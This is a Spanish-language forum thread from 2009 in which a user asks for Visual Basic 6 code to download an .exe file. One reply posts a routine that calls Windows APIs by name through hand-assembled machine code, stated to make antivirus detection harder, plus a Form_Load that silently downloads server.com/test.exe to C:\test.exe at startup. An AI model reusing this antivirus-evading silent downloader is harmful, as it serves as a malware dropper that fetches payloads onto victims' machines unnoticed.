Descargar .exe desde VB

Iniciado por ToNy_EsP, 7 Junio 2009, 14:10 PM

0 Miembros y 1 Visitante están viendo este tema.

ToNy_EsP

Pues buesqué por el foro, no lo encontré;
Busqué por Google, encontré cientos, pero de esos cientos ninguno funcionaba a la hora de descargar el archivo y guardarlo como .exe en la ruta que yo elija.

Probé codes que re venian en la web de recursosvisualbasic, codes de otras webs como elguille... Algunos funcionaban con Inet, otros con un control OCX, pero no me funciona ninguno con VB6 :S.

¿Alguien podría pasarme un código válido? Llevo 2 semanas enteras buscando pero no encontré nada  :-(

Un saludo.

*Si pasas mucho tiempo pensando sobre una cosa, terminarás por no hacerla (Bruce Lee).

Spider-Net

Veo que sigues sin usar mucho el buscador del foro

Hay una función hecha por Cobein buenísima que llama a una API directamente por su nombre, esto dificulta su detección por los antivirus y llamando de esta forma a la API URLDownloadToFileW no hay problema alguno para descargar un fichero.

Módulo:

Código (vb) [Seleccionar]
'Call API Function
'Credits to Cobein

Declare Sub RtlMoveMemory Lib "kernel32" (dest As Any, src As Any, ByVal L As Long)
Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
On Error Resume Next
    Dim lPtr                As Long
    Dim bvASM(&HEC00& - 1)  As Byte
    Dim I                   As Long
    Dim lMod                As Long

    lMod = GetProcAddress(LoadLibraryA(sLib), sMod)
    If lMod = 0 Then Exit Function

    lPtr = VarPtr(bvASM(0))
    RtlMoveMemory ByVal lPtr, &H59595958, &H4:              lPtr = lPtr + 4
    RtlMoveMemory ByVal lPtr, &H5059, &H2:                  lPtr = lPtr + 2
    For I = UBound(Params) To 0 Step -1
        RtlMoveMemory ByVal lPtr, &H68, &H1:                lPtr = lPtr + 1
        RtlMoveMemory ByVal lPtr, CLng(Params(I)), &H4:     lPtr = lPtr + 4
    Next
    RtlMoveMemory ByVal lPtr, &HE8, &H1:                    lPtr = lPtr + 1
    RtlMoveMemory ByVal lPtr, lMod - lPtr - 4, &H4:         lPtr = lPtr + 4
    RtlMoveMemory ByVal lPtr, &HC3, &H1:                    lPtr = lPtr + 1
    CallApiByName = CallWindowProcA(VarPtr(bvASM(0)), 0, 0, 0, 0)

End Function


Form:

Código (vb) [Seleccionar]
Private Sub Form_Load()
   lRet = CallApiByName("urlmon", "URLDownloadToFileW", 0, StrPtr("http://server.com/test.exe"), StrPtr("C:\test.exe"), 0, 0)
End Sub


Saludos!

seba123neo

Hola, no te funciona ninguno? algo debes hacer mal, tenes api's para ahcerlo, lo podes hacer con sockets...lo podes hacer con el INET y otros OCX, lo podes hacer con descarga asyncrona...lo podes hacer de un monton de maneras...

saludos.
La característica extraordinaria de las leyes de la física es que se aplican en todos lados, sea que tú elijas o no creer en ellas. Lo bueno de las ciencias es que siempre tienen la verdad, quieras creerla o no.

Neil deGrasse Tyson

oskoa

che, que hace ese codigo? lo puse en el VB y no me hizo nada

(espero que no me explote la pc en 3 dias -,-

je, diganme que hace ese codigo plz

BlackZeroX

Cita de: oskoa en 10 Junio 2009, 21:06 PM
che, que hace ese codigo? lo puse en el VB y no me hizo nada

(espero que no me explote la pc en 3 dias -,-

je, diganme que hace ese codigo plz

hace lo que pediste...¡!
The Dark Shadow is my passion.

ssccaann43 ©

Cita de: ░▒▓BlackZeroҖ▓▒░ en 10 Junio 2009, 22:05 PM
Cita de: oskoa en 10 Junio 2009, 21:06 PM
che, que hace ese codigo? lo puse en el VB y no me hizo nada

(espero que no me explote la pc en 3 dias -,-

je, diganme que hace ese codigo plz

hace lo que pediste...¡!

El no fue quien lo pidio...! Fue ToNy_EsP
- Miguel Núñez
Todos tenemos derechos a ser estupidos, pero algunos abusan de ese privilegio...
"I like ^TiFa^"